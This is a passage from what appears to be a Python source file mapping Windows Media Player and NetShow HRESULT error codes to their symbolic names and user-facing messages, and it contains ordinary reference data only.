Server %1 has failed.\"),\n        0xC00D0053: (\"NS_E_CUB_FAIL\", \"Content Server %1 (%2) has failed.\"),\n        0xC00D0055: (\"NS_E_DISK_FAIL\", \"Disk %1 ( %2 ) on Content Server %3, has failed.\"),\n        0xC00D0060: (\"NS_E_MAX_FUNNELS_ALERT\", \"The NetShow data stream limit of %1 streams was reached.\"),\n        0xC00D0061: (\"NS_E_ALLOCATE_FILE_FAIL\", \"The NetShow Video Server was unable to allocate a %1 block file named %2.\"),\n        0xC00D0062: (\"NS_E_PAGING_ERROR\", \"A Content Server was unable to page a block.\"),\n        0xC00D0063: (\"NS_E_BAD_BLOCK0_VERSION\", \"Disk %1 has unrecognized control block version %2.\"),\n        0xC00D0064: (\"NS_E_BAD_DISK_UID\", \"Disk %1 has incorrect uid %2.\"),\n        0xC00D0065: (\"NS_E_BAD_FSMAJOR_VERSION\", \"Disk %1 has unsupported file system major version %2.\"),\n        0xC00D0066: (\"NS_E_BAD_STAMPNUMBER\", \"Disk %1 has bad stamp number in control block.\"),\n        0xC00D0067: (\"NS_E_PARTIALLY_REBUILT_DISK\", \"Disk %1 is partially reconstructed.\"),\n        0xC00D0068: (\"NS_E_ENACTPLAN_GIVEUP\", \"EnactPlan gives up.\"),\n        0xC00D006A: (\"MCMADM_E_REGKEY_NOT_FOUND\", \"The key was not found in the registry.\"),\n        0xC00D006B: (\"NS_E_NO_FORMATS\", \"The publishing point cannot be started because the server does not have the appropriate stream formats. Use the Multicast Announcement Wizard to create a new announcement for this publishing point.\"),\n        0xC00D006C: (\"NS_E_NO_REFERENCES\", \"No reference URLs were found in an ASX file.\"),\n        0xC00D006D: (\"NS_E_WAVE_OPEN\", \"Error opening wave device, the device might be in use.\"),\n        0xC00D006F: (\"NS_E_CANNOTCONNECTEVENTS\", \"Unable to establish a connection to the NetShow event monitor service.\"),\n        0xC00D0071: (\"NS_E_NO_DEVICE\", \"No device driver is present on the system.\"),\n        0xC00D0072: (\"NS_E_NO_SPECIFIED_DEVICE\", \"No specified device driver is present.\"),\n        0xC00D00C8: (\"NS_E_MONITOR_GIVEUP\", \"Netshow Events Monitor is not operational and has been disconnected.\"),\n        0xC00D00C9: (\"NS_E_REMIRRORED_DISK\", \"Disk %1 is remirrored.\"),\n        0xC00D00CA: (\"NS_E_INSUFFICIENT_DATA\", \"Insufficient data found.\"),\n        0xC00D00CB: (\"NS_E_ASSERT\", \"1 failed in file %2 line %3.\"),\n        0xC00D00CC: (\"NS_E_BAD_ADAPTER_NAME\", \"The specified adapter name is invalid.\"),\n        0xC00D00CD: (\"NS_E_NOT_LICENSED\", \"The application is not licensed for this feature.\"),\n        0xC00D00CE: (\"NS_E_NO_SERVER_CONTACT\", \"Unable to contact the server.\"),\n        0xC00D00CF: (\"NS_E_TOO_MANY_TITLES\", \"Maximum number of titles exceeded.\"),\n        0xC00D00D0: (\"NS_E_TITLE_SIZE_EXCEEDED\", \"Maximum size of a title exceeded.\"),\n        0xC00D00D1: (\"NS_E_UDP_DISABLED\", \"UDP protocol not enabled. Not trying %1!ls!.\"),\n        0xC00D00D2: (\"NS_E_TCP_DISABLED\", \"TCP protocol not enabled. Not trying %1!ls!.\"),\n        0xC00D00D3: (\"NS_E_HTTP_DISABLED\", \"HTTP protocol not enabled. Not trying %1!ls!.\"),\n        0xC00D00D4: (\"NS_E_LICENSE_EXPIRED\", \"The product license has expired.\"),\n        0xC00D00D5: (\"NS_E_TITLE_BITRATE\", \"Source file exceeds the per title maximum bitrate. See NetShow Theater documentation for more information.\"),\n        0xC00D00D6: (\"NS_E_EMPTY_PROGRAM_NAME\", \"The program name cannot be empty.\"),\n        0xC00D00D7: (\"NS_E_MISSING_CHANNEL\", \"Station %1 does not exist.\"),\n        0xC00D00D8: (\"NS_E_NO_CHANNELS\", \"You need to define at least one station before this operation can complete.\"),\n        0xC00D00D9: (\"NS_E_INVALID_INDEX2\", \"The index specified is invalid.\"),\n        0xC00D0190: (\"NS_E_CUB_FAIL_LINK\", \"Content Server %1 (%2) has failed its link to Content Server %3.\"),\n        0xC00D0192: (\"NS_E_BAD_CUB_UID\", \"Content Server %1 (%2) has incorrect uid %3.\"),\n        0xC00D0195: (\"NS_E_GLITCH_MODE\", \"Server unreliable because multiple components failed.\"),\n        0xC00D019B: (\"NS_E_NO_MEDIA_PROTOCOL\", \"Content Server %1 (%2) is unable to communicate with the Media System Network Protocol.\"),\n        0xC00D07F1: (\"NS_E_NOTHING_TO_DO\", \"Nothing to do.\"),\n        0xC00D07F2: (\"NS_E_NO_MULTICAST\", \"Not receiving data from the server.\"),\n        0xC00D0BB8: (\"NS_E_INVALID_INPUT_FORMAT\", \"The input media format is invalid.\"),\n        0xC00D0BB9: (\"NS_E_MSAUDIO_NOT_INSTALLED\", \"The MSAudio codec is not installed on this system.\"),\n        0xC00D0BBA: (\"NS_E_UNEXPECTED_MSAUDIO_ERROR\", \"An unexpected error occurred with the MSAudio codec.\"),\n        0xC00D0BBB: (\"NS_E_INVALID_OUTPUT_FORMAT\", \"The output media format is invalid.\"),\n        0xC00D0BBC: (\"NS_E_NOT_CONFIGURED\", \"The object must be fully configured before audio samples can be processed.\"),\n        0xC00D0BBD: (\"NS_E_PROTECTED_CONTENT\", \"You need a license to perform the requested operation on this media file.\"),\n        0xC00D0BBE: (\"NS_E_LICENSE_REQUIRED\", \"You need a license to perform the requested operation on this media file.\"),\n        0xC00D0BBF: (\"NS_E_TAMPERED_CONTENT\", \"This media file is corrupted or invalid. Contact the content provider for a new file.\"),\n        0xC00D0BC0: (\"NS_E_LICENSE_OUTOFDATE\", \"The license for this media file has expired. Get a new license or contact the content provider for further assistance.\"),\n        0xC00D0BC1: (\"NS_E_LICENSE_INCORRECT_RIGHTS\", \"You are not allowed to open this file. Contact the content provider for further assistance.\"),\n        0xC00D0BC2: (\"NS_E_AUDIO_CODEC_NOT_INSTALLED\", \"The requested audio codec is not installed on this system.\"),\n        0xC00D0BC3: (\"NS_E_AUDIO_CODEC_ERROR\", \"An unexpected error occurred with the audio codec.\"),\n        0xC00D0BC4: (\"NS_E_VIDEO_CODEC_NOT_INSTALLED\", \"The requested video codec is not installed on this system.\"),\n        0xC00D0BC5: (\"NS_E_VIDEO_CODEC_ERROR\", \"An unexpected error occurred with the video codec.\"),\n        0xC00D0BC6: (\"NS_E_INVALIDPROFILE\", \"The Profile is invalid.\"),\n        0xC00D0BC7: (\"NS_E_INCOMPATIBLE_VERSION\", \"A new version of the SDK is needed to play the requested content.\"),\n        0xC00D0BCA: (\"NS_E_OFFLINE_MODE\", \"The requested URL is not available in offline mode.\"),\n        0xC00D0BCB: (\"NS_E_NOT_CONNECTED\", \"The requested URL cannot be accessed because there is no network connection.\"),\n        0xC00D0BCC: (\"NS_E_TOO_MUCH_DATA\", \"The encoding process was unable to keep up with the amount of supplied data.\"),\n        0xC00D0BCD: (\"NS_E_UNSUPPORTED_PROPERTY\", \"The given property is not supported.\"),\n        0xC00D0BCE: (\"NS_E_8BIT_WAVE_UNSUPPORTED\", \"Windows Media Player cannot copy the files to the CD because they are 8-bit. Convert the files to 16-bit, 44-kHz stereo files by using Sound Recorder or another audio-processing program, and then try again.\"),\n        0xC00D0BCF: (\"NS_E_NO_MORE_SAMPLES\", \"There are no more samples in the current range.\"),\n        0xC00D0BD0: (\"NS_E_INVALID_SAMPLING_RATE\", \"The given sampling rate is invalid.\"),\n        0xC00D0BD1: (\"NS_E_MAX_PACKET_SIZE_TOO_SMALL\", \"The given maximum packet size is too small to accommodate this profile.)\"),\n        0xC00D0BD2: (\"NS_E_LATE_PACKET\", \"The packet arrived too late to be of use.\"),\n        0xC00D0BD3: (\"NS_E_DUPLICATE_PACKET\", \"The packet is a duplicate of one received before.\"),\n        0xC00D0BD4: (\"NS_E_SDK_BUFFERTOOSMALL\", \"Supplied buffer is too small.\"),\n        0xC00D0BD5: (\"NS_E_INVALID_NUM_PASSES\", \"The wrong number of preprocessing passes was used for the stream's output type.\"),\n        0xC00D0BD6: (\"NS_E_ATTRIBUTE_READ_ONLY\", \"An attempt was made to add, modify, or delete a read only attribute.\"),\n        0xC00D0BD7: (\"NS_E_ATTRIBUTE_NOT_ALLOWED\", \"An attempt was made to add attribute that is not allowed for the given media type.\"),\n        0xC00D0BD8: (\"NS_E_INVALID_EDL\", \"The EDL provided is invalid.\"),\n        0xC00D0BD9: (\"NS_E_DATA_UNIT_EXTENSION_TOO_LARGE\", \"The Data Unit Extension data was too large to be used.\"),\n        0xC00D0BDA: (\"NS_E_CODEC_DMO_ERROR\", \"An unexpected error occurred with a DMO codec.\"),\n        0xC00D0BDC: (\"NS_E_FEATURE_DISABLED_BY_GROUP_POLICY\", \"This feature has been disabled by group policy.\"),\n        0xC00D0BDD: (\"NS_E_FEATURE_DISABLED_IN_SKU\", \"This feature is disabled in this SKU.\"),\n        0xC00D0FA0: (\"NS_E_NO_CD\", \"There is no CD in the CD drive. Insert a CD, and then try again.\"),\n        0xC00D0FA1: (\"NS_E_CANT_READ_DIGITAL\", \"Windows Media Player could not use digital playback to play the CD. To switch to analog playback, on the Tools menu, click Options, and then click the Devices tab. Double-click the CD drive, and then in the Playback area, click Analog. For additional assistance, click Web Help.\"),\n        0xC00D0FA2: (\"NS_E_DEVICE_DISCONNECTED\", \"Windows Media Player no longer detects a connected portable device. Reconnect your portable device, and then try synchronizing the file again.\"),\n        0xC00D0FA3: (\"NS_E_DEVICE_NOT_SUPPORT_FORMAT\", \"Windows Media Player cannot play the file. The portable device does not support the specified file type.\"),\n        0xC00D0FA4: (\"NS_E_SLOW_READ_DIGITAL\", \"Windows Media Player could not use digital playback to play the CD. The Player has automatically switched the CD drive to analog playback. To switch back to digital CD playback, use the Devices tab. For additional assistance, click Web Help.\"),\n        0xC00D0FA5: (\"NS_E_MIXER_INVALID_LINE\", \"An invalid line error occurred in the mixer.\"),\n        0xC00D0FA6: (\"NS_E_MIXER_INVALID_CONTROL\", \"An invalid control error occurred in the mixer.\"),\n        0xC00D0FA7: (\"NS_E_MIXER_INVALID_VALUE\", \"An invalid value error occurred in the mixer.\"),\n        0xC00D0FA8: (\"NS_E_MIXER_UNKNOWN_MMRESULT\", \"An unrecognized MMRESULT occurred in the mixer.\"),\n        0xC00D0FA9: (\"NS_E_USER_STOP\", \"User has stopped the operation.\"),\n        0xC00D0FAA: (\"NS_E_MP3_FORMAT_NOT_FOUND\", \"Windows Media Player cannot rip the track because a compatible MP3 encoder is not installed on your computer. Install a compatible MP3 encoder or choose a different format to rip to (such as Windows Media Audio).\"),\n        0xC00D0FAB: (\"NS_E_CD_READ_ERROR_NO_CORRECTION\", \"Windows Media Player cannot read the CD. The disc might be dirty or damaged. Turn on error correction, and then try again.\"),\n        0xC00D0FAC: (\"NS_E_CD_READ_ERROR\", \"Windows Media Player cannot read the CD. The disc might be dirty or damaged or the CD drive might be malfunctioning.\"),\n        0xC00D0FAD: (\"NS_E_CD_SLOW_COPY\", \"For best performance, do not play CD tracks while ripping them.\"),\n        0xC00D0FAE: (\"NS_E_CD_COPYTO_CD\", \"It is not possible to directly burn tracks from one CD to another CD. You must first rip the tracks from the CD to your computer, and then burn the files to a blank CD.\"),\n        0xC00D0FAF: (\"NS_E_MIXER_NODRIVER\", \"Could not open a sound mixer driver.\"),\n        0xC00D0FB0: (\"NS_E_REDBOOK_ENABLED_WHILE_COPYING\", \"Windows Media Player cannot rip tracks from the CD correctly because the CD drive settings in Device Manager do not match the CD drive settings in the Player.\"),\n        0xC00D0FB1: (\"NS_E_CD_REFRESH\", \"Windows Media Player is busy reading the CD.\"),\n        0xC00D0FB2: (\"NS_E_CD_DRIVER_PROBLEM\", \"Windows Media Player could not use digital playback to play the CD. The Player has automatically switched the CD drive to analog playback. To switch back to digital CD playback, use the Devices tab. For additional assistance, click Web Help.\"),\n        0xC00D0FB3: (\"NS_E_WONT_DO_DIGITAL\", \"Windows Media Player could not use digital playback to play the CD. The Player has automatically switched the CD drive to analog playback. To switch back to digital CD playback, use the Devices tab. For additional assistance, click Web Help.\"),\n        0xC00D0FB4: (\"NS_E_WMPXML_NOERROR\", \"A call was made to GetParseError on the XML parser but there was no error to retrieve.\"),\n        0xC00D0FB5: (\"NS_E_WMPXML_ENDOFDATA\", \"The XML Parser ran out of data while parsing.\"),\n        0xC00D0FB6: (\"NS_E_WMPXML_PARSEERROR\", \"A generic parse error occurred in the XML parser but no information is available.\"),\n        0xC00D0FB7: (\"NS_E_WMPXML_ATTRIBUTENOTFOUND\", \"A call get GetNamedAttribute or GetNamedAttributeIndex on the XML parser resulted in the index not being found.\"),\n        0xC00D0FB8: (\"NS_E_WMPXML_PINOTFOUND\", \"A call was made go GetNamedPI on the XML parser, but the requested Processing Instruction was not found.\"),\n        0xC00D0FB9: (\"NS_E_WMPXML_EMPTYDOC\", \"Persist was called on the XML parser, but the parser has no data to persist.\"),\n        0xC00D0FBA: (\"NS_E_WMP_PATH_ALREADY_IN_LIBRARY\", \"This file path is already in the library.\"),\n        0xC00D0FBE: (\"NS_E_WMP_FILESCANALREADYSTARTED\", \"Windows Media Player is already searching for files to add to your library. Wait for the current process to finish before attempting to search again.\"),\n        0xC00D0FBF: (\"NS_E_WMP_HME_INVALIDOBJECTID\", \"Windows Media Player is unable to find the media you are looking for.\"),\n        0xC00D0FC0: (\"NS_E_WMP_MF_CODE_EXPIRED\", \"A component of Windows Media Player is out-of-date. If you are running a pre-release version of Windows, try upgrading to a more recent version.\"),\n        0xC00D0FC1: (\"NS_E_WMP_HME_NOTSEARCHABLEFORITEMS\", \"This container does not support search on items.\"),\n        0xC00D0FC7: (\"NS_E_WMP_ADDTOLIBRARY_FAILED\", \"Windows Media Player encountered a problem while adding one or more files to the library. For additional assistance, click Web Help.\"),\n        0xC00D0FC8: (\"NS_E_WMP_WINDOWSAPIFAILURE\", \"A Windows API call failed but no error information was available.\"),\n        0xC00D0FC9: (\"NS_E_WMP_RECORDING_NOT_ALLOWED\", \"This file does not have burn rights. If you obtained this file from an online store, go to the online store to get burn rights.\"),\n        0xC00D0FCA: (\"NS_E_DEVICE_NOT_READY\", \"Windows Media Player no longer detects a connected portable device. Reconnect your portable device, and then try to sync the file again.\"),\n        0xC00D0FCB: (\"NS_E_DAMAGED_FILE\", \"Windows Media Player cannot play the file because it is corrupted.\"),\n        0xC00D0FCC: (\"NS_E_MPDB_GENERIC\", \"Windows Media Player encountered an error while attempting to access information in the library. Try restarting the Player.\"),\n        0xC00D0FCD: (\"NS_E_FILE_FAILED_CHECKS\", \"The file cannot be added to the library because it is smaller than the \\\"Skip files smaller than\\\" setting. To add the file, change the setting on the Library tab. For additional assistance, click Web Help.\"),\n        0xC00D0FCE: (\"NS_E_MEDIA_LIBRARY_FAILED\", \"Windows Media Player cannot create the library. You must be logged on as an administrator or a member of the Administrators group to install the Player. For more information, contact your system administrator.\"),\n        0xC00D0FCF: (\"NS_E_SHARING_VIOLATION\", \"The file is already in use. Close other programs that might be using the file, or stop playing the file, and then try again.\"),\n        0xC00D0FD0: (\"NS_E_NO_ERROR_STRING_FOUND\", \"Windows Media Player has encountered an unknown error.\"),\n        0xC00D0FD1: (\"NS_E_WMPOCX_NO_REMOTE_CORE\", \"The Windows Media Player ActiveX control cannot connect to remote media services, but will continue with local media services.\"),\n        0xC00D0FD2: (\"NS_E_WMPOCX_NO_ACTIVE_CORE\", \"The requested method or property is not available because the Windows Media Player ActiveX control has not been properly activated.\"),\n        0xC00D0FD3: (\"NS_E_WMPOCX_NOT_RUNNING_REMOTELY\", \"The Windows Media Player ActiveX control is not running in remote mode.\"),\n        0xC00D0FD4: (\"NS_E_WMPOCX_NO_REMOTE_WINDOW\", \"An error occurred while trying to get the remote Windows Media Player window.\"),\n        0xC00D0FD5: (\"NS_E_WMPOCX_ERRORMANAGERNOTAVAILABLE\", \"Windows Media Player has encountered an unknown error.\"),\n        0xC00D0FD6: (\"NS_E_PLUGIN_NOTSHUTDOWN\", \"Windows Media Player was not closed properly. A damaged or incompatible plug-in might have caused the problem to occur. As a precaution, all optional plug-ins have been disabled.\"),\n        0xC00D0FD7: (\"NS_E_WMP_CANNOT_FIND_FOLDER\", \"Windows Media Player cannot find the specified path. Verify that the path is typed correctly. If it is, the path does not exist in the specified location, or the computer where the path is located is not available.\"),\n        0xC00D0FD8: (\"NS_E_WMP_STREAMING_RECORDING_NOT_ALLOWED\", \"Windows Media Player cannot save a file that is being streamed.\"),\n        0xC00D0FD9: (\"NS_E_WMP_PLUGINDLL_NOTFOUND\", \"Windows Media Player cannot find the selected plug-in. The Player will try to remove it from the menu. To use this plug-in, install it again.\"),\n        0xC00D0FDA: (\"NS_E_NEED_TO_ASK_USER\", \"Action requires input from the user.\"),\n        0xC00D0FDB: (\"NS_E_WMPOCX_PLAYER_NOT_DOCKED\", \"The Windows Media Player ActiveX control must be in a docked state for this action to be performed.\"),\n        0xC00D0FDC: (\"NS_E_WMP_EXTERNAL_NOTREADY\", \"The Windows Media Player external object is not ready.\"),\n        0xC00D0FDD: (\"NS_E_WMP_MLS_STALE_DATA\", \"Windows Media Player cannot perform the requested action. Your computer's time and date might not be set correctly.\"),\n        0xC00D0FDE: (\"NS_E_WMP_UI_SUBCONTROLSNOTSUPPORTED\", \"The control (%s) does not support creation of sub-controls, yet (%d) sub-controls have been specified.\"),\n        0xC00D0FDF: (\"NS_E_WMP_UI_VERSIONMISMATCH\", \"Version mismatch: (%.1f required, %.1f found).\"),\n        0xC00D0FE0: (\"NS_E_WMP_UI_NOTATHEMEFILE\", \"The layout manager was given valid XML that wasn't a theme file.\"),\n        0xC00D0FE1: (\"NS_E_WMP_UI_SUBELEMENTNOTFOUND\", \"The %s subelement could not be found on the %s object.\"),\n        0xC00D0FE2: (\"NS_E_WMP_UI_VERSIONPARSE\", \"An error occurred parsing the version tag. Valid version tags are of the form: <?wmp version='1.0'?>.\"),\n        0xC00D0FE3: (\"NS_E_WMP_UI_VIEWIDNOTFOUND\", \"The view specified in for the 'currentViewID' property (%s) was not found in this theme file.\"),\n        0xC00D0FE4: (\"NS_E_WMP_UI_PASSTHROUGH\", \"This error used internally for hit testing.\"),\n        0xC00D0FE5: (\"NS_E_WMP_UI_OBJECTNOTFOUND\", \"Attributes were specified for the %s object, but the object was not available to send them to.\"),\n        0xC00D0FE6: (\"NS_E_WMP_UI_SECONDHANDLER\", \"The %s event already has a handler, the second handler was ignored.\"),\n        0xC00D0FE7: (\"NS_E_WMP_UI_NOSKININZIP\", \"No .wms file found in skin archive.\"),\n        0xC00D0FEA: (\"NS_E_WMP_URLDOWNLOADFAILED\", \"Windows Media Player encountered a problem while downloading the file. For additional assistance, click Web Help.\"),\n        0xC00D0FEB: (\"NS_E_WMPOCX_UNABLE_TO_LOAD_SKIN\", \"The Windows Media Player ActiveX control cannot load the requested uiMode and cannot roll back to the existing uiMode.\"),\n        0xC00D0FEC: (\"NS_E_WMP_INVALID_SKIN\", \"Windows Media Player encountered a problem with the skin file. The skin file might not be valid.\"),\n        0xC00D0FED: (\"NS_E_WMP_SENDMAILFAILED\", \"Windows Media Player cannot send the link because your email program is not responding. Verify that your email program is configured properly, and then try again. For more information about email, see Windows Help.\"),\n        0xC00D0FEE: (\"NS_E_WMP_LOCKEDINSKINMODE\", \"Windows Media Player cannot switch to full mode because your computer administrator has locked this skin.\"),\n        0xC00D0FEF: (\"NS_E_WMP_FAILED_TO_SAVE_FILE\", \"Windows Media Player encountered a problem while saving the file. For additional assistance, click Web Help.\"),\n        0xC00D0FF0: (\"NS_E_WMP_SAVEAS_READONLY\", \"Windows Media Player cannot overwrite a read-only file. Try using a different file name.\"),\n        0xC00D0FF1: (\"NS_E_WMP_FAILED_TO_SAVE_PLAYLIST\", \"Windows Media Player encountered a problem while creating or saving the playlist. For additional assistance, click Web Help.\"),\n        0xC00D0FF2: (\"NS_E_WMP_FAILED_TO_OPEN_WMD\", \"Windows Media Player cannot open the Windows Media Download file. The file might be damaged.\"),\n        0xC00D0FF3: (\"NS_E_WMP_CANT_PLAY_PROTECTED\", \"The file cannot be added to the library because it is a protected DVR-MS file. This content cannot be played back by Windows Media Player.\"),\n        0xC00D0FF4: (\"NS_E_SHARING_STATE_OUT_OF_SYNC\", \"Media sharing has been turned off because a required Windows setting or component has changed. For additional assistance, click Web Help.\"),\n        0xC00D0FFA: (\"NS_E_WMPOCX_REMOTE_PLAYER_ALREADY_RUNNING\", \"Exclusive Services launch failed because the Windows Media Player is already running.\"),\n        0xC00D1004: (\"NS_E_WMP_RBC_JPGMAPPINGIMAGE\", \"JPG Images are not recommended for use as a mappingImage.\"),\n        0xC00D1005: (\"NS_E_WMP_JPGTRANSPARENCY\", \"JPG Images are not recommended when using a transparencyColor.\"),\n        0xC00D1009: (\"NS_E_WMP_INVALID_MAX_VAL\", \"The Max property cannot be less than Min property.\"),\n        0xC00D100A: (\"NS_E_WMP_INVALID_MIN_VAL\", \"The Min property cannot be greater than Max property.\"),\n        0xC00D100E: (\"NS_E_WMP_CS_JPGPOSITIONIMAGE\", \"JPG Images are not recommended for use as a positionImage.\"),\n        0xC00D100F: (\"NS_E_WMP_CS_NOTEVENLYDIVISIBLE\", \"The (%s) image's size is not evenly divisible by the positionImage's size.\"),\n        0xC00D1018: (\"NS_E_WMPZIP_NOTAZIPFILE\", \"The ZIP reader opened a file and its signature did not match that of the ZIP files.\"),\n        0xC00D1019: (\"NS_E_WMPZIP_CORRUPT\", \"The ZIP reader has detected that the file is corrupted.\"),\n        0xC00D101A: (\"NS_E_WMPZIP_FILENOTFOUND\", \"GetFileStream, SaveToFile, or SaveTemp file was called on the ZIP reader with a file name that was not found in the ZIP file.\"),\n        0xC00D1022: (\"NS_E_WMP_IMAGE_FILETYPE_UNSUPPORTED\", \"Image type not supported.\"),\n        0xC00D1023: (\"NS_E_WMP_IMAGE_INVALID_FORMAT\", \"Image file may be corrupt.\"),\n        0xC00D1024: (\"NS_E_WMP_GIF_UNEXPECTED_ENDOFFILE\", \"Unexpected end of file. GIF file may be corrupt.\"),\n        0xC00D1025: (\"NS_E_WMP_GIF_INVALID_FORMAT\", \"Invalid GIF file.\"),\n        0xC00D1026: (\"NS_E_WMP_GIF_BAD_VERSION_NUMBER\", \"Invalid GIF version. Only 87a or 89a supported.\"),\n        0xC00D1027: (\"NS_E_WMP_GIF_NO_IMAGE_IN_FILE\", \"No images found in GIF file.\"),\n        0xC00D1028: (\"NS_E_WMP_PNG_INVALIDFORMAT\", \"Invalid PNG image file format.\"),\n        0xC00D1029: (\"NS_E_WMP_PNG_UNSUPPORTED_BITDEPTH\", \"PNG bitdepth not supported.\"),\n        0xC00D102A: (\"NS_E_WMP_PNG_UNSUPPORTED_COMPRESSION\", \"Compression format defined in PNG file not supported,\"),\n        0xC00D102B: (\"NS_E_WMP_PNG_UNSUPPORTED_FILTER\", \"Filter method defined in PNG file not supported.\"),\n        0xC00D102C: (\"NS_E_WMP_PNG_UNSUPPORTED_INTERLACE\", \"Interlace method defined in PNG file not supported.\"),\n        0xC00D102D: (\"NS_E_WMP_PNG_UNSUPPORTED_BAD_CRC\", \"Bad CRC in PNG file.\"),\n        0xC00D102E: (\"NS_E_WMP_BMP_INVALID_BITMASK\", \"Invalid bitmask in BMP file.\"),\n        0xC00D102F: (\"NS_E_WMP_BMP_TOPDOWN_DIB_UNSUPPORTED\", \"Topdown DIB not supported.\"),\n        0xC00D1030: (\"NS_E_WMP_BMP_BITMAP_NOT_CREATED\", \"Bitmap could not be created.\"),\n        0xC00D1031: (\"NS_E_WMP_BMP_COMPRESSION_UNSUPPORTED\", \"Compression format defined in BMP not supported.\"),\n        0xC00D1032: (\"NS_E_WMP_BMP_INVALID_FORMAT\", \"Invalid Bitmap format.\"),\n        0xC00D1033: (\"NS_E_WMP_JPG_JERR_ARITHCODING_NOTIMPL\", \"JPEG Arithmetic coding not supported.\"),\n        0xC00D1034: (\"NS_E_WMP_JPG_INVALID_FORMAT\", \"Invalid JPEG format.\"),\n        0xC00D1035: (\"NS_E_WMP_JPG_BAD_DCTSIZE\", \"Invalid JPEG format.\"),\n        0xC00D1036: (\"NS_E_WMP_JPG_BAD_VERSION_NUMBER\", \"Internal version error. Unexpected JPEG library version.\"),\n        0xC00D1037: (\"NS_E_WMP_JPG_BAD_PRECISION\", \"Internal JPEG Library error. Unsupported JPEG data precision.\"),\n        0xC00D1038: (\"NS_E_WMP_JPG_CCIR601_NOTIMPL\", \"JPEG CCIR601 not supported.\"),\n        0xC00D1039: (\"NS_E_WMP_JPG_NO_IMAGE_IN_FILE\", \"No image found in JPEG file.\"),\n        0xC00D103A: (\"NS_E_WMP_JPG_READ_ERROR\", \"Could not read JPEG file.\"),\n        0xC00D103B: (\"NS_E_WMP_JPG_FRACT_SAMPLE_NOTIMPL\", \"JPEG Fractional sampling not supported.\"),\n        0xC00D103C: (\"NS_E_WMP_JPG_IMAGE_TOO_BIG\", \"JPEG image too large. Maximum image size supported is 65500 X 65500.\"),\n        0xC00D103D: (\"NS_E_WMP_JPG_UNEXPECTED_ENDOFFILE\", \"Unexpected end of file reached in JPEG file.\"),\n        0xC00D103E: (\"NS_E_WMP_JPG_SOF_UNSUPPORTED\", \"Unsupported JPEG SOF marker found.\"),\n        0xC00D103F: (\"NS_E_WMP_JPG_UNKNOWN_MARKER\", \"Unknown JPEG marker found.\"),\n        0xC00D1044: (\"NS_E_WMP_FAILED_TO_OPEN_IMAGE\", \"Windows Media Player cannot display the picture file. The player either does not support the picture type or the picture is corrupted.\"),\n        0xC00D1049: (\"NS_E_WMP_DAI_SONGTOOSHORT\", \"Windows Media Player cannot compute a Digital Audio Id for the song. It is too short.\"),\n        0xC00D104A: (\"NS_E_WMG_RATEUNAVAILABLE\", \"Windows Media Player cannot play the file at the requested speed.\"),\n        0xC00D104B: (\"NS_E_WMG_PLUGINUNAVAILABLE\", \"The rendering or digital signal processing plug-in cannot be instantiated.\"),\n        0xC00D104C: (\"NS_E_WMG_CANNOTQUEUE\", \"The file cannot be queued for seamless playback.\"),\n        0xC00D104D: (\"NS_E_WMG_PREROLLLICENSEACQUISITIONNOTALLOWED\", \"Windows Media Player cannot download media usage rights for a file in the playlist.\"),\n        0xC00D104E: (\"NS_E_WMG_UNEXPECTEDPREROLLSTATUS\", \"Windows Media Player encountered an error while trying to queue a file.\"),\n        0xC00D1051: (\"NS_E_WMG_INVALID_COPP_CERTIFICATE\", \"Windows Media Player cannot play the protected file. The Player cannot verify that the connection to your video card is secure. Try installing an updated device driver for your video card.\"),\n        0xC00D1052: (\"NS_E_WMG_COPP_SECURITY_INVALID\", \"Windows Media Player cannot play the protected file. The Player detected that the connection to your hardware might not be secure.\"),\n        0xC00D1053: (\"NS_E_WMG_COPP_UNSUPPORTED\", \"Windows Media Player output link protection is unsupported on this system.\"),\n        0xC00D1054: (\"NS_E_WMG_INVALIDSTATE\", \"Operation attempted in an invalid graph state.\"),\n        0xC00D1055: (\"NS_E_WMG_SINKALREADYEXISTS\", \"A renderer cannot be inserted in a stream while one already exists.\"),\n        0xC00D1056: (\"NS_E_WMG_NOSDKINTERFACE\", \"The Windows Media SDK interface needed to complete the operation does not exist at this time.\"),\n        0xC00D1057: (\"NS_E_WMG_NOTALLOUTPUTSRENDERED\", \"Windows Media Player cannot play a portion of the file because it requires a codec that either could not be downloaded or that is not supported by the Player.\"),\n        0xC00D1058: (\"NS_E_WMG_FILETRANSFERNOTALLOWED\", \"File transfer streams are not allowed in the standalone Player.\"),\n        0xC00D1059: (\"NS_E_WMR_UNSUPPORTEDSTREAM\", \"Windows Media Player cannot play the file. The Player does not support the format you are trying to play.\"),\n        0xC00D105A: (\"NS_E_WMR_PINNOTFOUND\", \"An operation was attempted on a pin that does not exist in the DirectShow filter graph.\"),\n        0xC00D105B: (\"NS_E_WMR_WAITINGONFORMATSWITCH\", \"Specified operation cannot be completed while waiting for a media format change from the SDK.\"),\n        0xC00D105C: (\"NS_E_WMR_NOSOURCEFILTER\", \"Specified operation cannot be completed because the source filter does not exist.\"),\n        0xC00D105D: (\"NS_E_WMR_PINTYPENOMATCH\", \"The specified type does not match this pin.\"),\n        0xC00D105E: (\"NS_E_WMR_NOCALLBACKAVAILABLE\", \"The WMR Source Filter does not have a callback available.\"),\n        0xC00D1062: (\"NS_E_WMR_SAMPLEPROPERTYNOTSET\", \"The specified property has not been set on this sample.\"),\n        0xC00D1063: (\"NS_E_WMR_CANNOT_RENDER_BINARY_STREAM\", \"A plug-in is required to correctly play the file. To determine if the plug-in is available to download, click Web Help.\"),\n        0xC00D1064: (\"NS_E_WMG_LICENSE_TAMPERED\", \"Windows Media Player cannot play the file because your media usage rights are corrupted. If you previously backed up your media usage rights, try restoring them.\"),\n        0xC00D1065: (\"NS_E_WMR_WILLNOT_RENDER_BINARY_STREAM\", \"Windows Media Player cannot play protected files that contain binary streams.\"),\n        0xC00D1068: (\"NS_E_WMX_UNRECOGNIZED_PLAYLIST_FORMAT\", \"Windows Media Player cannot play the playlist because it is not valid.\"),\n        0xC00D1069: (\"NS_E_ASX_INVALIDFORMAT\", \"Windows Media Player cannot play the playlist because it is not valid.\"),\n        0xC00D106A: (\"NS_E_ASX_INVALIDVERSION\", \"A later version of Windows Media Player might be required to play this playlist.\"),\n        0xC00D106B: (\"NS_E_ASX_INVALID_REPEAT_BLOCK\", \"The format of a REPEAT loop within the current playlist file is not valid.\"),\n        0xC00D106C: (\"NS_E_ASX_NOTHING_TO_WRITE\", \"Windows Media Player cannot save the playlist because it does not contain any items.\"),\n        0xC00D106D: (\"NS_E_URLLIST_INVALIDFORMAT\", \"Windows Media Player cannot play the playlist because it is not valid.\"),\n        0xC00D106E: (\"NS_E_WMX_ATTRIBUTE_DOES_NOT_EXIST\", \"The specified attribute does not 